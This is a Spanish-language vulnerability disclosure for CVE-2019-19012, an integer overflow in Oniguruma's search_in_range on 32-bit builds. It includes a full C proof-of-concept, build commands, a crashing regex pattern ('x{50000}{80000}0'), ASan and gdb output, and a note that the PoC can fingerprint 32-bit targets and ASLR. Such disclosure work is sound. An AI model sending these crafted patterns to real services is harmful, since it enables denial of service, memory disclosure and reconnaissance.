Desbordamiento de enteros en Oniguruma

Un desbordamiento de enteros en la función search_in_range en regexec.c en Oniguruma 6.x anterior a 6.9.4_rc2 provoca una lectura fuera de los límites, en la que el desplazamiento de esta lectura está bajo el control de un atacante. (Esto solo afecta a la versión compilada en 32 bits). Los atacantes remotos pueden causar una denegación de servicio o una divulgación de información, o posiblemente tener otro impacto no especificado, a través de una expresión regular manipulada.

Investigador: ManhND de The Tarantula Team, VinCSS (un miembro de Vingroup)

¿Qué es Oniguruma

Oniguruma, de K. Kosako, es una biblioteca de expresiones regulares con licencia BSD que admite una variedad de codificaciones de caracteres. El lenguaje de programación Ruby, en la versión 1.9, así como el módulo de cadenas multibyte de PHP (desde PHP5), utilizan Oniguruma como motor de expresiones regulares. También se utiliza en productos como Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text y SubEthaEdit.

Prueba de concepto

A continuación se muestra un PoC en C. Recibe el primer argumento como el patrón y el segundo argumento como la cadena que se va a comparar.

Mostrar código de PoC

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Compile Oniguruma y el PoC en 32 bits:

./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

Para activar el error, proporcione la cadena "x" y patrones en el formato "x{a}{b}0", donde a y b sean menores a 100000. Por ejemplo:

root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

Análisis

Versión del código fuente referenciada: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4

La causa raíz proviene de la línea regex.c:5365, donde ocurre un desbordamiento de enteros:

5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => overflow
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

El desbordamiento de enteros ocurre cuando reg->dmax alcanza un valor suficientemente grande. reg->dmax parece ser una distancia que es igual a <número> en el patrón "x{<número>}y", donde x puede ser cualquier carácter, y debe ser un dígito. Por ejemplo, si se proporciona el patrón "a{1000}5", reg->dmax = 1000. Vea el siguiente registro de gdb con "./PoC a{1000}5 b":

root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>, 
  map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)

Con patrones en la forma "x{<número>}y", dmax obtiene el valor más grande como 100000, porque el número de repetición no puede ser mayor a 100000 (ONIG_MAX_REPEAT_NUM). Sin embargo, si proporcionamos patrones en el formato "x{<número1>}{<número2>}y", tendremos que reg->dmax = número1 * número2. Esta multiplicación se realiza en el siguiente código (regcomp.c:6157):

6156	      else {
6157	        max = distance_multiply(xo.len.max, qn->upper);    //// => multiply into dmax
6158	      }

Vea el siguiente registro de gdb con "./PoC a{1000}{2}5 b":

(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>, 
  map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)

Incluso más, el número de repetición se puede anidar tantas veces como queramos:

"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk

Por lo tanto, dmax (un entero sin signo) puede tener cualquier valor en el rango [0, 0xffffffff), y el desbordamiento de enteros en sch_range += reg->dmax; es definitivamente posible. Lo mismo ocurre con reg->dmin. Sin embargo, este desbordamiento de enteros solo ocurre en la versión de 32 bits. Con la versión de 64 bits, sch_range es un puntero de 64 bits, y dmax sigue siendo un entero sin signo, por lo que no puede ocurrir un desbordamiento de enteros.

El PoC anterior falla porque en sunday_quick_search, el desbordamiento de enteros conduce a que se desreferencie alguna dirección de memoria no válida:

while (s < end) {
    p = s;
    t = tail;
    while (*p == *t) {                             // => p points to invalid address
      if (t == target) return (UChar* )p;
      p--; t--;
    }
    if (s + map_offset >= text_end) break;
    s += reg->map[*(s + map_offset)];
  }

Si ASLR está habilitado y proporcionamos un patrón adecuado, ASLR a veces asigna una página válida en la dirección desreferenciada, a veces no asigna ninguna página, por lo que el PoC a veces falla y a veces no. Por lo tanto, este PoC se puede usar para detectar si el sistema objetivo es de 32 o 64 bits. Y si es de 32 bits, podemos detectar si ASLR está habilitado o no.

CVE-2019-19012

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